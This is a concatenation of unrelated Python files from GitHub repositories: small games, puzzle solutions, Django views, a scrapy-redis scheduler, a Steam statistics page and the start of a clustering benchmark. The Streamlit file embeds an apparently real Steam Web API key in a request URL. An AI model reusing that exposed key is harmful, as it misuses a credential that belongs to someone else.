\",\"-\".join(guessed))","repo_name":"SelcuukYilmazz/Scrabble_Game","sub_path":"Scrabble_Game.py","file_name":"Scrabble_Game.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23925036508","text":"from tkinter import *\r\n\r\ndef context_menu(event, menu, listBox): #2345\r\n widget = event.widget\r\n index = widget.nearest(event.y)\r\n listBox.activate(index)\r\n _, yoffset, _, height = widget.bbox(index)\r\n if event.y > height + yoffset + 5: # XXX 5 is a niceness factor :)\r\n # Outside of widget.\r\n return\r\n item = widget.get(index)\r\n print(\"Do something with\", index, item)\r\n menu.post(event.x_root, event.y_root)\r\n\r\ndef removeClient(): #2345\r\n pass\r\n print('CLICKED')\r\nroot = Tk()\r\nmenu = Menu(self.root, tearoff=0) #5432\r\nmenu.add_command(label='remove bot', command=removeClient)\r\nlistbox = Listbox()\r\nlistbox.insert(0, *range(1, 10, 2))\r\nlistbox.bind('<3>', lambda e: context_menu(e, menu)) #4352\r\nlistbox.pack()\r\nlistbox.activate(1)\r\nroot.mainloop()","repo_name":"toorusr/ocu-botyer","sub_path":"sometestcode.py","file_name":"sometestcode.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22721339451","text":"#######################################\n## Advent of Code 2021 ##\n## Day 3 - Binary Diagnostic ##\n## John Forslund ##\n#######################################\n\n# Imports\nimport pandas as pd\nimport numpy as np\n\n\n\n######################\n## Part 1 ##\n######################\n\n# Load input data:\ninputs = pd.read_csv(\"day_3/input.txt\", names=[\"diag\"], dtype=str)\n\n# Format into separate columns:\ninputs = pd.DataFrame(data=[list(c) for c in list(inputs.diag)])\ninputs = inputs.astype(int)\n\n# Find the gamma rate (most common bit in each column):\ndef common_bits(a, inverse):\n if inverse==False:\n bits = a.sum().apply(lambda x: 1 if x >= a.shape[0]/2 else 0).astype(str).tolist() # most common bits as list of strings\n else:\n bits = a.sum().apply(lambda x: 1 if x < a.shape[0]/2 else 0).astype(str).tolist() # most uncommon bits as list of strings\n bits = ''.join(bits) # as one string\n return bits \n \ngamma_bits = common_bits(inputs, False)\nepsilon_bits = common_bits(inputs, True)\n\ngamma_decimal = int(gamma_bits, 2) # convert to decimal, the 2 is to indicate it is binary\nepsilon_decimal = int(epsilon_bits, 2)\n\npower_cons = gamma_decimal * epsilon_decimal\n\n\n\n######################\n## Part 2 ##\n######################\n\n# Same input, but start with only considering the first bit.\n\n# Find oxygen generator rating:\ninputs_to_check = inputs.copy()\nfor c in inputs.columns: # for loop through every column of bits\n if inputs_to_check.shape[0] == 1: # break if only one row left (the result)\n break\n common_bit = 1 if inputs_to_check[c].sum() >= (inputs_to_check.shape[0] / 2) else 0 # most common bit in the column\n inputs_to_check = inputs_to_check[inputs_to_check[c] == common_bit] # only keep rows where the column contains most common bit\noxygen_generator_bits = \"\".join(inputs_to_check.astype(str).values.tolist()[0])\noxygen_generator_decimal = int(oxygen_generator_bits, 2)\n\n\n# Find CO2 scrubber rating:\ninputs_to_check = inputs.copy()\nfor c in inputs.columns: # for loop through every column of bits\n if inputs_to_check.shape[0] == 1: # break if only one row left (the result)\n break\n uncommon_bit = 0 if inputs_to_check[c].sum() >= (inputs_to_check.shape[0] / 2) else 1 # most common bit in the column\n inputs_to_check = inputs_to_check[inputs_to_check[c] == uncommon_bit] # only keep rows where the column contains most common bit\nCO2_scrubber_bits = \"\".join(inputs_to_check.astype(str).values.tolist()[0])\nCO2_scrubber_decimal = int(CO2_scrubber_bits, 2)\n\n\nlife_support = oxygen_generator_decimal * CO2_scrubber_decimal","repo_name":"johnforslund/advent_of_code_2021","sub_path":"day_3/binary_diagnostics.py","file_name":"binary_diagnostics.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5863760429","text":"# Import necessary libraries\nimport random\nimport os\n\n# Clear the console screen (works for Windows, for other systems consider using 'clear' or 'cls')\nos.system('cls')\n\n# Clear the console screen (works for Windows, for other systems consider using 'clear' or 'cls')\nlogo = \"\"\"\n.------. _ _ _ _ _ \n|A_ _ |. | | | | | | (_) | | \n|( \\/ ).-----. | |__ | | __ _ ___| | ___ __ _ ___| | __\n| \\ /|K /\\ | | '_ \\| |/ _` |/ __| |/ / |/ _` |/ __| |/ /\n| \\/ | / \\ | | |_) | | (_| | (__| <| | (_| | (__| < \n`-----| \\ / | |_.__/|_|\\__,_|\\___|_|\\_\\ |\\__,_|\\___|_|\\_\\\\\n | \\/ K| _/ | \n `------' |__/ \n\n---------------------------------------------------------------\n\"\"\"\n\n# Function to deal a random card from the deck\ndef deal_card():\n \"\"\"Returns a random card from the deck.\"\"\"\n cards = [11, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]\n card = random.choice(cards)\n return card\n\n# Function to calculate the total score of a hand\ndef calculate_score(cards):\n score = 0\n for card in cards:\n score += card\n return score\n \n# Function to determine the game result\ndef calculate_end(user_score, computer_score):\n if user_score == computer_score:\n return \"It's a draw!\"\n elif user_score == 21:\n return \"Blackjack! You won!\"\n elif user_score > 21 and computer_score > 21:\n return \"You both went over. It's a draw!\"\n elif user_score > 21:\n return \"You went over. You lose!\"\n elif computer_score > 21:\n return \"Opponent went over. You won!\"\n elif computer_score == 21:\n return \"Blackjack! Computer won!\"\n elif user_score > computer_score:\n return \"You won!\"\n else:\n return \"You lose!\"\n\n# Function to play the game\ndef play_game():\n user_cards = []\n computer_cards = []\n is_game_over = False\n\n# Deal two cards to the user and the computer initially\n for _ in range(2):\n user_cards.append(deal_card())\n computer_cards.append(deal_card())\n user_score = calculate_score(user_cards)\n computer_score = calculate_score(computer_cards)\n\n while user_score > 19 or computer_score > 19:\n user_cards = []\n computer_cards = []\n for _ in range(2):\n user_cards.append(deal_card())\n computer_cards.append(deal_card())\n user_score = calculate_score(user_cards)\n computer_score = calculate_score(computer_cards)\n\n# Continuously play the game until it's over\n while not is_game_over:\n print(logo)\n user_score = calculate_score(user_cards)\n computer_score = calculate_score(computer_cards)\n print(f\" Your cards: {user_cards}\\n\\n Current score: {user_score}\\n\")\n print(f\"\\n Computer cards: {computer_cards}\\n\\n Current score: {computer_score}\\n\\n---------------------------------------------------------------\\n\")\n\n if user_score > 21 or computer_score > 21 or user_score == 21 or computer_score == 21:\n is_game_over = True\n else:\n user_should_deal = input(\" Type 'y' to get another card, type 'n' to pass: \")\n if user_should_deal == \"y\":\n user_cards.append(deal_card())\n \n if computer_score < 17:\n computer_cards.append(deal_card()) \n\n os.system('cls')\n else:\n is_game_over = True\n os.system('cls')\n\n user_score = calculate_score(user_cards)\n computer_score = calculate_score(computer_cards)\n \n while computer_score < 17:\n computer_cards.append(deal_card())\n computer_score = calculate_score(computer_cards)\n os.system('cls')\n print(logo)\n user_score = calculate_score(user_cards)\n computer_score = calculate_score(computer_cards)\n print(f\" Your cards: {user_cards}\\n\\n Current score: {user_score}\\n\")\n print(f\"\\n Computer cards: {computer_cards}\\n\\n Current score: {computer_score}\\n\\n---------------------------------------------------------------\\n\")\n print((f\" {calculate_end(user_score, computer_score)}\"))\n\n\n# Start the game\nplay_game()\n","repo_name":"rrezler93/100-Days-of-Python","sub_path":"Black Jack.py","file_name":"Black Jack.py","file_ext":"py","file_size_in_byte":4084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5451410393","text":"'''\r\nCHECK IF A BINARY TREE IS COMPLETE TREE OR NOT (USING LEVEL ORDER TRAVERSAL BFS)\r\n+++PROPERTIES+++\r\nTHE TREE MUST BE FULL ON ALL LEVELS EXCEPT THE LEAF LEVEL.\r\nALL LEAVES MUST INCLINE TOWARDS THE LEFT SIDE\r\n 5\r\n / \\\r\n 3 7\r\n / \\ \\ #not valid since 7's left kid is none\r\n 2 4 8\r\n'''\r\nclass Node:\r\n def __init__(self, item):\r\n self.item= item\r\n self.left=None\r\n self.right=None\r\n\r\ndef isCompleteBT(root):\r\n if root is None:\r\n return True #empty trees always true\r\n\r\n flag=False\r\n q=[] #Build an empty queue\r\n q.append(root) #traverse from the root\r\n while (len(q)>0):\r\n temp=q.pop(0)\r\n if temp.left: #if temp has left subtree\r\n if flag==True:\r\n return False\r\n q.append(temp.left)\r\n else:\r\n flag=True #no left kid==>no full node==>null in output\r\n if temp.right: #same level right kid\r\n if flag==True:\r\n return False\r\n q.append(temp.right)\r\n else: #no full node==>no complete\r\n flag=True\r\n \r\n return True #after traversing all levels, it is a valid complete tree\r\n\r\nroot=Node(5)\r\nroot.left=Node(3)\r\nroot.right=Node(7)\r\nroot.left.left=Node(2)\r\nroot.left.right=Node(4)\r\nroot.right.right=Node(8)\r\n\r\nif isCompleteBT(root):\r\n print('This is a complete binary tree')\r\nelse:\r\n print('This is non-complete binary tree')","repo_name":"Sukoka/cute-lil-test","sub_path":"Leetcode DS/Complete.py","file_name":"Complete.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23618403401","text":"#!/usr/bin/env python3\n\"\"\"Google Code Jam Submission\nProblem: 2011 Qualification Round B\nAuthor: Matt Giuca\n\"\"\"\n\nimport sys\nimport collections\n\ndef parse_input(infile):\n \"\"\"Consume input for a single case from infile.\n Return (combiners, destructors, invocation), where:\n - combiners is a dict mapping two-element strings onto chars, in both\n directions. For example, 'QFT' creates two map entries\n 'QF': 'T' and 'FQ': 'T'.\n - destructors is a multidict mapping chars to sets of chars, in both\n directions.\n For example, 'RF' creates two map entries 'R': 'F' and 'F': 'R'.\n - invocation is a string.\n \"\"\"\n data = infile.readline().split()\n c = int(data[0])\n combiner_source = data[1:1+c]\n d = int(data[1+c])\n destructor_source = data[1+c+1:1+c+1+d]\n n = int(data[1+c+1+d])\n invocation = data[1+c+1+d+1]\n assert n == len(invocation)\n\n # Build the maps\n combiners = {}\n for c in combiner_source:\n src = c[0:2]\n dst = c[2]\n combiners[src] = dst\n combiners[src[::-1]] = dst\n destructors = collections.defaultdict(set)\n for d in destructor_source:\n destructors[d[0]].add(d[1])\n destructors[d[1]].add(d[0])\n return combiners, destructors, invocation\n\ndef handle_case(data):\n \"\"\"Given the data structure returned by parse_input, return the answer as\n a string or stringable value.\n If parse_input is a generator, should manually call list() on data.\n \"\"\"\n combiners, destructors, invocation = data\n stack = []\n\n for e in invocation:\n # Does this element combine with the one on top of the stack?\n if len(stack) > 0 and (stack[-1] + e in combiners):\n # Pop the stack and replace with the combined element\n stack[-1] = combiners[stack[-1] + e]\n # Does this element destroy any other in the stack?\n elif any(d in stack for d in destructors[e]):\n # Wipe the stack\n stack = []\n else:\n # Just push the element\n stack.append(e)\n\n # Print the final stack\n return '[{}]'.format(', '.join(stack))\n\ndef main():\n numcases = int(sys.stdin.readline())\n for casenum in range(numcases):\n data = parse_input(sys.stdin)\n answer = handle_case(data)\n print(\"Case #{0}: {1}\".format(casenum+1, answer))\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_75/64.py","file_name":"64.py","file_ext":"py","file_size_in_byte":2428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18376053394","text":"from collections import OrderedDict\nimport json\n\nfrom django.db.models import Count\nfrom django.shortcuts import get_object_or_404, redirect\nfrom django.views.generic import TemplateView, DetailView, ListView, RedirectView\nfrom django.core.urlresolvers import reverse\nfrom django.conf import settings\nfrom cartridge.shop.models import Order\nfrom mezzanine.blog.models import BlogPost\nfrom mezzanine.utils.email import send_mail_template\nfrom annoying.functions import get_object_or_None\nfrom braces.views import GroupRequiredMixin\n\nfrom .models import Player, Team, GameType, Game, Season, SeasonPlayerStats, League, Album, Sponsor, Teaser, Table\n\n\nclass HomeView(TemplateView):\n\n template_name = 'shcbelpa/homepage.html'\n\n def get_context_data(self, **kwargs):\n context = super(HomeView, self).get_context_data(**kwargs)\n context['blog_posts'] = BlogPost.objects.published()[:10]\n context['teasers'] = Teaser.objects.published()\n context['resultbox'] = Game.objects.get_games_for_resultbox()\n context['topscorer'] = SeasonPlayerStats.objects.get_topscorer()\n return context\n\nclass SeasonView(TemplateView):\n\n template_name = 'shcbelpa/season.html'\n\n def get_context_data(self, **kwargs):\n context = super(SeasonView, self).get_context_data(**kwargs)\n\n team = get_object_or_404(Team, pk=self.kwargs['team_pk'])\n season = get_object_or_404(Season, code=self.kwargs['season'])\n\n is_tournament_mode = False\n\n sections = {}\n for game_type in GameType.objects.all():\n # fetch games for this team, season and game_type\n games = Game.objects.filter_by_team(team).filter(season=season, game_type=game_type).order_by('date_time')\n # aggregate by date to find out if there are more than 1 game per day\n clustering = games.extra({'date':\"date(date_time)\"}).values('date').annotate(count=Count('id'))\n\n dates = OrderedDict()\n for day in clustering:\n dates[str(day['date'])] = []\n # if there are more than 1 game per day, it's a league which plays tournaments => different presentation\n if day['count'] > 1:\n is_tournament_mode = True\n\n if is_tournament_mode:\n for game in games:\n date = game.date_time.date()\n # group games per day and then append it to the section\n dates[str(date)].append(game)\n\n sections[game_type] = dates\n else:\n sections[game_type] = games\n\n context['is_tournament_mode'] = is_tournament_mode\n context['team'] = team\n context['current_season'] = season\n context['seasons'] = Game.objects.get_seasons(team)\n context['sections'] = sections\n\n # Table\n context['table'] = Table.objects.filter(season=season, league=team.league, game_type=game_type).order_by('position')\n\n return context\n\n\nclass GameView(DetailView):\n model = Game\n template_name = 'shcbelpa/game.html'\n context_object_name = 'game'\n\n\nclass PlayerView(DetailView):\n model = Player\n template_name = 'shcbelpa/player.html'\n context_object_name = 'player'\n slug_field = 'slug'\n\n def get_context_data(self, **kwargs):\n context = super(PlayerView, self).get_context_data(**kwargs)\n\n player = context['player']\n season = Season.objects.get_current_season()\n\n season_stats = []\n # get every team where player currently is on the roster (exclude coaches)\n for roster in player.roster_set.exclude(position='C'):\n stats = SeasonPlayerStats.objects.get_season_stats_by_player(season, roster.team, player)\n season_stats.append([roster.team, stats])\n\n context['season_stats'] = season_stats\n\n alltime_stats = []\n # get every league the player ever played in (means has at least one SeasonPlayerStats entry)\n for league in League.objects.filter(seasonplayerstats__player=player).distinct().order_by('pk'):\n stats = SeasonPlayerStats.objects.get_alltime_stats_by_player(player, league)\n stats['league'] = league\n alltime_stats.append(stats)\n\n context['alltime_stats'] = alltime_stats\n context['season'] = season\n return context\n\n\nclass PlayerRedirectView(RedirectView):\n permanent = True\n\n def get_redirect_url(self, *args, **kwargs):\n player = get_object_or_404(Player, pk=kwargs['pk'])\n return reverse('player', kwargs={'slug': player.slug})\n\n\nclass RosterView(TemplateView):\n\n template_name = 'shcbelpa/roster.html'\n\n def get_context_data(self, **kwargs):\n context = super(RosterView, self).get_context_data(**kwargs)\n\n team = get_object_or_404(Team, pk=self.kwargs['team_pk'])\n roster = (\n ('coach', team.players.filter(roster__position='C')),\n ('goalie', team.players.filter(roster__position='G')),\n ('defense', team.players.filter(roster__position='D')),\n ('offense', team.players.filter(roster__position='O'))\n )\n\n context['roster'] = roster\n context['team'] = team\n\n return context\n\nclass StatsView(TemplateView):\n\n template_name = 'shcbelpa/stats.html'\n\n def get_context_data(self, **kwargs):\n context = super(StatsView, self).get_context_data(**kwargs)\n\n season = get_object_or_404(Season, code=self.kwargs['season'])\n team = get_object_or_404(Team, pk=self.kwargs['team_pk'])\n\n context['team'] = team\n context['current_season'] = season\n context['seasons'] = SeasonPlayerStats.objects.get_seasons(team)\n\n sections = OrderedDict()\n sections['Total'] = SeasonPlayerStats.objects.get_season_stats(season, team)\n\n for game_type in GameType.objects.all().order_by('pk'):\n stats = SeasonPlayerStats.objects.get_season_stats_by_type(season, team, game_type)\n sections[game_type.name] = stats\n\n context['sections'] = sections\n\n return context\n\n\nclass HallOfFameView(TemplateView):\n\n template_name = 'shcbelpa/hall-of-fame.html'\n\n def get_context_data(self, **kwargs):\n context = super(HallOfFameView, self).get_context_data(**kwargs)\n stats = SeasonPlayerStats.objects.get_hall_of_fame_stats()\n\n stats.sort(key=lambda x: x['points'], reverse=True)\n context['best_scorer'] = stats[:3]\n\n stats.sort(key=lambda x: x['gp'], reverse=True)\n context['most_games'] = stats[:3]\n\n stats.sort(key=lambda x: x['pm'], reverse=True)\n context['most_penalties'] = stats[:3]\n\n return context\n\n\nclass GalleryView(ListView):\n queryset = Album.objects.all().order_by('-updated')\n template_name = 'shcbelpa/gallery.html'\n paginate_by = 16\n\n\nclass AlbumView(DetailView):\n model = Album\n context_object_name = 'album'\n template_name = 'shcbelpa/album.html'\n\n def get_context_data(self, **kwargs):\n context = super(AlbumView, self).get_context_data(**kwargs)\n album = context['album']\n photos = []\n for photo in album.photos.all():\n photos.append({\n 'thumb': photo.medium_url,\n 'image': photo.content_url\n })\n\n context['json'] = json.dumps(photos)\n return context\n\nclass SponsorView(ListView):\n queryset = Sponsor.objects.all()\n template_name = 'shcbelpa/sponsor.html'\n context_object_name = \"sponsors\"\n\n\nclass OrderListView(GroupRequiredMixin, TemplateView):\n \"\"\"\n Display all order made in the shop by it's status\n \"\"\"\n\n group_required = u\"Finance\"\n\n template_name = 'shcbelpa/shop/order_list.html'\n\n def get_context_data(self, **kwargs):\n context = super(OrderListView, self).get_context_data(**kwargs)\n\n # get all new order\n context['new_orders'] = Order.objects.filter(status=1).order_by('-time')\n\n # get all payed order\n context['payed_orders'] = Order.objects.filter(status=2).order_by('-time')\n\n return context\n\n\nclass OrderDetailView(GroupRequiredMixin, DetailView):\n \"\"\"\n Display an order with option to mark it as payed\n \"\"\"\n\n group_required = u\"Finance\"\n\n model = Order\n template_name = 'shcbelpa/shop/order_detail.html'\n context_object_name = 'order'\n\n def post(self, request, *args, **kwargs):\n order = Order.objects.get(pk=kwargs['pk'])\n\n if order.status == 1:\n order.status = 2 # set to payed\n order.save()\n\n order_context = {\"order\": order, \"request\": request,\n \"order_items\": order.items.all()}\n order_context.update(order.details_as_dict())\n\n # send email with order to producer\n send_mail_template(\"Bestellung #%i\" % order.id,\n \"email/producer_notification\",\n settings.SHOP_ORDER_FROM_EMAIL,\n settings.SHOP_PRODUCER_EMAIL,\n context=order_context,\n addr_bcc=settings.SHOP_ORDER_EMAIL_BCC or None)\n\n # send email with payment received notification to customer\n send_mail_template(\"Zahlung zu Bestellung #%i erhalten\" % order.id,\n \"email/customer_notification\",\n settings.SHOP_ORDER_FROM_EMAIL,\n order.billing_detail_email,\n context=order_context)\n\n return redirect('order_detail', pk=order.pk)","repo_name":"wittwerch/1107","sub_path":"src/shcbelpa/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7784961057","text":"import streamlit as st\nimport pandas as pd\nimport requests\nfrom functions.parse_number_by_group_of_three import parse_number\n\nfrom functions.truncate_number import truncate\n\nst.set_page_config(\n page_title=\"Statistique par joueur\",\n page_icon=\"🥇\",\n)\n\nst.markdown(\"# Statistique par joueur\")\n\nuserId = st.text_input(\"Entrer un id utilisateur\", \"\")\n\nif(userId != \"\"):\n url = \"https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=236BCFFB4BA51FFFC8B24AFF935C39A9&include_appinfo=1&include_played_free_games=0&appids_filter&steamid=\" + userId\n resp = requests.get(url=url)\n data = resp.json()\n listOfPlayeddGame = pd.DataFrame.from_dict(data.get(\"response\").get(\"games\"))\n if(listOfPlayeddGame.empty):\n st.markdown(\"Profil privé ou aucun jeu trouvé\")\n else:\n listOfPlayeddGame['playtime_forever'] = listOfPlayeddGame['playtime_forever'].apply(lambda x: x / 60)\n st.dataframe(listOfPlayeddGame)\n\n topTenOfPlayedGame = listOfPlayeddGame.sort_values(by=['playtime_forever'], ascending=False).head(10)\n\n st.bar_chart(topTenOfPlayedGame, x='name', y='playtime_forever') \n\n # Nombre d'heure de jeux total\n total = listOfPlayeddGame[\"playtime_forever\"].sum()\n st.markdown(\"Total des heures de jeux : \" + str(parse_number(truncate(total))))\n st.markdown(\"Total des jours de jeux : \" + str(parse_number(truncate(total/24))))\n st.markdown(\"Total des années de jeux : \" + str(parse_number(truncate(total/24/365))))","repo_name":"leo-doyen/openSteamData","sub_path":"pages/🥇_7_Statistique_par_joueur.py","file_name":"🥇_7_Statistique_par_joueur.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6002300750","text":"import importlib\nimport six\n\nfrom scrapy.utils.misc import load_object\n\nfrom . import connection, defaults\n\n\"\"\"\n这是调度器\n是比较核心的一个文件\n在scrapy/core/scheduler有两个比较重要的函数\n\"\"\"\n\n\n# TODO: add SCRAPY_JOB support.\nclass Scheduler(object):\n \"\"\"Redis-based scheduler\n\n Settings\n --------\n SCHEDULER_PERSIST : bool (default: False)\n Whether to persist or clear redis queue.\n SCHEDULER_FLUSH_ON_START : bool (default: False)\n Whether to flush redis queue on start.\n SCHEDULER_IDLE_BEFORE_CLOSE : int (default: 0)\n How many seconds to wait before closing if no message is received.\n SCHEDULER_QUEUE_KEY : str\n Scheduler redis key.\n SCHEDULER_QUEUE_CLASS : str\n Scheduler queue class.\n SCHEDULER_DUPEFILTER_KEY : str\n Scheduler dupefilter redis key.\n SCHEDULER_DUPEFILTER_CLASS : str\n Scheduler dupefilter class.\n SCHEDULER_SERIALIZER : str\n Scheduler serializer.\n\n \"\"\"\n\n # flush_on_start当我们启动时,会清除这个队列的所有数据\n def __init__(self, server,\n persist=False,\n flush_on_start=False,\n queue_key=defaults.SCHEDULER_QUEUE_KEY,\n queue_cls=defaults.SCHEDULER_QUEUE_CLASS,\n dupefilter_key=defaults.SCHEDULER_DUPEFILTER_KEY,\n dupefilter_cls=defaults.SCHEDULER_DUPEFILTER_CLASS,\n idle_before_close=0,\n serializer=None):\n \"\"\"Initialize scheduler.\n\n Parameters\n ----------\n server : Redis\n The redis server instance.\n persist : bool\n Whether to flush requests when closing. Default is False.\n flush_on_start : bool\n Whether to flush requests on start. Default is False.\n queue_key : str\n Requests queue key.\n queue_cls : str\n Importable path to the queue class.\n dupefilter_key : str\n Duplicates filter key.\n dupefilter_cls : str\n Importable path to the dupefilter class.\n idle_before_close : int\n Timeout before giving up.\n\n \"\"\"\n if idle_before_close < 0:\n raise TypeError(\"idle_before_close cannot be negative\")\n\n self.server = server\n self.persist = persist\n self.flush_on_start = flush_on_start\n self.queue_key = queue_key\n self.queue_cls = queue_cls\n self.dupefilter_cls = dupefilter_cls\n self.dupefilter_key = dupefilter_key\n self.idle_before_close = idle_before_close\n self.serializer = serializer\n self.stats = None\n\n def __len__(self):\n return len(self.queue)\n\n # 这是我们的一个入口\n @classmethod\n def from_settings(cls, settings):\n kwargs = {\n 'persist': settings.getbool('SCHEDULER_PERSIST'),\n 'flush_on_start': settings.getbool('SCHEDULER_FLUSH_ON_START'),\n 'idle_before_close': settings.getint('SCHEDULER_IDLE_BEFORE_CLOSE'),\n }\n\n # If these values are missing, it means we want to use the defaults.\n optional = {\n # TODO: Use custom prefixes for this settings to note that are\n # specific to scrapy-redis.\n 'queue_key': 'SCHEDULER_QUEUE_KEY',\n\n # SCHEDULER_QUEUE_CLASS在defaults中也是调用的PriorityQueue队列\n 'queue_cls': 'SCHEDULER_QUEUE_CLASS',\n # SCHEDULER_DUPEFILTER_KEY是一个去重\n 'dupefilter_key': 'SCHEDULER_DUPEFILTER_KEY',\n # We use the default setting name to keep compatibility.\n 'dupefilter_cls': 'DUPEFILTER_CLASS',\n 'serializer': 'SCHEDULER_SERIALIZER',\n }\n for name, setting_name in optional.items():\n val = settings.get(setting_name)\n if val:\n kwargs[name] = val\n\n # Support serializer as a path to a module.\n if isinstance(kwargs.get('serializer'), six.string_types):\n kwargs['serializer'] = importlib.import_module(kwargs['serializer'])\n\n server = connection.from_settings(settings)\n # Ensure the connection is working.\n server.ping()\n\n return cls(server=server, **kwargs)\n\n @classmethod\n def from_crawler(cls, crawler):\n instance = cls.from_settings(crawler.settings)\n # FIXME: for now, stats are only supported from this constructor\n instance.stats = crawler.stats\n return instance\n\n def open(self, spider):\n self.spider = spider\n\n try:\n self.queue = load_object(self.queue_cls)(\n server=self.server,\n spider=spider,\n key=self.queue_key % {'spider': spider.name},\n serializer=self.serializer,\n )\n except TypeError as e:\n raise ValueError(\"Failed to instantiate queue class '%s': %s\",\n self.queue_cls, e)\n\n self.df = load_object(self.dupefilter_cls).from_spider(spider)\n\n # # flush_on_start当我们启动时,会清除这个队列的所有数据\n if self.flush_on_start:\n # 点进flush()就会看到self.queue.clear(),清除队列\n self.flush()\n # notice if there are requests already in the queue to resume the crawl\n if len(self.queue):\n spider.log(\"Resuming crawl (%d requests scheduled)\" % len(self.queue))\n\n def close(self, reason):\n if not self.persist:\n self.flush()\n\n def flush(self):\n self.df.clear()\n self.queue.clear()\n\n # 这是很重要的两个函数\n def enqueue_request(self, request):\n \"\"\"\n 增量爬取的一个源码\n :param request:\n :return:\n \"\"\"\n # 通信,从redis中获取url并放入到队列中\n # import redis\n # import json\n # import scrapy\n # # 每次都有url放到queue的时候。我自己加入一段逻辑,先从这个queue上获取 这个url\n # rd = redis.Redis(\"127.0.0.1\", decode_responses=True)\n #\n # # 先检查指定的redis队列是否有url,先做一个while,检查是否为空的方法rd.llen(),是一个列表类型\n # list_name = \"cnblogs:new_urls\"\n # while rd.llen(list_name): # 1.得到url,,,,,,,,重点::::这是放入\n # # 先做成一个字符串,再反序列化回来,再做一个json,就能得到 一个url和优先级\n # data = json.loads(rd.lpop(list_name)) # 2.得到优先级\n # callback_func = getattr(self.spider, data[2])\n # req = scrapy.Request(url=data[0], dont_filter=False, callback=callback_func, priority=data[1])# 3.再做一个callback,根据自己的需求回调到哪一个函数,是parse还是parse_detail\n #\n # # 再放到一个队列中,用push()方法,我们用的是默认PriorityQueue队列\n # # 其实每个Queue都有push()方法,但我们默认的是PriorityQueue队列\n # self.queue.push(req)\n \"\"\"\n 增量爬取的结束\n \"\"\"\n if not request.dont_filter and self.df.request_seen(request):\n self.df.log(request, self.spider)\n return False\n if self.stats:\n self.stats.inc_value('scheduler/enqueued/redis', spider=self.spider)\n self.queue.push(request)\n return True\n\n # 这是很重要的两个函数, 这是获取下一个request方法\n def next_request(self):\n\n # 设置queue的队列优先就可以完成增量爬取self.queue.pop,在enqueue_request改动\n block_pop_timeout = self.idle_before_close\n\n # 这是用的pop方法,也就是出队,\n # 其实每个Queue都有pop()方法,但我们默认的是PriorityQueue队列方法\n request = self.queue.pop(block_pop_timeout)\n if request and self.stats: # 重点:::这是出来的url\n # scheduler/dequeued/redis这是中间状态\n self.stats.inc_value('scheduler/dequeued/redis', spider=self.spider)\n return request\n\n def has_pending_requests(self):\n return len(self) > 0\n\n\n","repo_name":"tang1323/ArticleSpider_splash","sub_path":"scrapy_redis/scheduler.py","file_name":"scheduler.py","file_ext":"py","file_size_in_byte":8209,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"42579199206","text":"import time\nimport random\nimport hdbscan\nimport numpy as np\nimport pandas as pd\nfrom sklearn import metrics\nfrom classix import CLASSIX\nfrom sklearn.cluster import KMeans\nfrom sklearn.cluster import DBSCAN\nfrom quickshift.QuickshiftPP import *\nfrom sklearn.cluster import MeanShift\nfrom threadpoolctl import threadpool_limits\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nshape_sets = ['Aggregation.txt', 'Compound.txt', \n 'D31.txt', 'Flame.txt', \n 'Jain.txt', 'Pathbased.txt', \n 'R15.txt', 'Spiral.txt']\n\ndef load_data(file):\n data = pd.read_csv(file,sep=\"\\\\s+\", header = None)\n return data\n\n\ndef rn_cluster_shape():\n plt.style.use('bmh')\n seed = 0\n np.random.seed(seed)\n random.seed(seed)\n # a higher Silhouette Coefficient score relates to a model with better defined clusters.\n # a lower Davies-Bouldin index relates to a model with better separation between the clusters.\n # a higher Calinski-Harabasz score relates to a model with better defined clusters.\n # a higher adjusted rand score relates to a better model\n # the dim sets do not provide groud truth label. so some of the metric can not apply\n\n classix_den_results = list()\n classix_dist_results = list()\n kmeans_results = list()\n dbscan_results = list()\n hdbscan_results = list()\n quicks_results = list()\n meanshift_results = list()\n\n classix_den_nr_dist = list()\n classix_dist_nr_dist = list()\n\n # classix_den_sh_scores = list()\n # classix_dist_sh_scores = list()\n # kmeans_sh_scores = list()\n # dbscan_sh_scores = list()\n # hdbscan_sh_scores = list()\n # quicks_sh_scores = list()\n # meanshift_sh_scores = list()\n\n # classix_den_db_scores = list()\n # classix_dist_db_scores = list()\n # kmeans_db_scores = list()\n # dbscan_db_scores = list()\n # hdbscan_db_scores = list()\n # quicks_db_scores = list()\n # meanshift_db_scores = list()\n \n # classix_den_ch_scores = list()\n # classix_dist_ch_scores = list()\n # kmeans_ch_scores = list()\n # dbscan_ch_scores = list()\n # hdbscan_ch_scores = list()\n # quicks_ch_scores = list()\n # meanshift_ch_scores = list()\n \n classix_den_ri_scores = list()\n classix_dist_ri_scores = list()\n kmeans_ri_scores = list()\n dbscan_ri_scores = list()\n hdbscan_ri_scores = list()\n quicks_ri_scores = list()\n meanshift_ri_scores = list()\n \n classix_den_mi_scores = list()\n classix_dist_mi_scores = list()\n kmeans_mi_scores = list()\n dbscan_mi_scores = list()\n hdbscan_mi_scores = list()\n quicks_mi_scores = list()\n meanshift_mi_scores = list()\n\n classix_den_time_scores = list()\n 